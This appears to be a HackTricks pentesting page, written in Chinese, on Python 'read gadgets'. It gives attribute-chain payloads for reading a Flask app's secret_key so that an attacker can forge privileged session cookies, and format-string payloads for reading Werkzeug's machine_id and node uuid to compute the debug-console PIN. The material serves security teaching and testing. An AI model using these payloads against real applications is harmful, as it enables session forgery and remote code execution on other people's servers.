Python Internal Read Gadgets
Reading time: 4 minutes
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。
基本信息
不同的漏洞,如 Python Format Strings 或 Class Pollution,可能允许你 读取 Python 内部数据,但不允许你执行代码。因此,渗透测试人员需要充分利用这些读取权限,以 获取敏感权限并升级漏洞。
Flask - 读取密钥
Flask 应用程序的主页面可能会有 app
全局对象,在这里 配置了这个密钥。
app = Flask(__name__, template_folder='templates')
app.secret_key = '(:secret:)'
在这种情况下,可以使用任何小工具来访问全局对象,来自绕过 Python 沙箱页面。
在漏洞位于不同的 Python 文件的情况下,您需要一个小工具来遍历文件,以便到达主文件,访问全局对象 app.secret_key
,以更改 Flask 秘钥并能够提升权限,知道这个密钥。
像这样的有效载荷来自这篇文章:
__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.secret_key
使用此有效载荷来更改 app.secret_key
(您应用中的名称可能不同),以便能够签署新的和更高权限的 flask cookies。
Werkzeug - machine_id 和 node uuid
使用此写作中的有效载荷,您将能够访问machine_id和uuid节点,这些是您需要的主要秘密,以生成 Werkzeug pin,您可以在调试模式启用时使用它访问 /console
的 python 控制台:
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug]._machine_id}
{ua.__class__.__init__.__globals__[t].sys.modules[werkzeug.debug].uuid._node}
warning
请注意,您可以通过在网页上生成一些错误来获取服务器本地路径到 app.py
,这将给您路径。
如果漏洞在另一个python文件中,请检查之前的Flask技巧以访问主python文件中的对象。
tip
学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 Telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud GitHub 仓库提交 PR 来分享黑客技巧。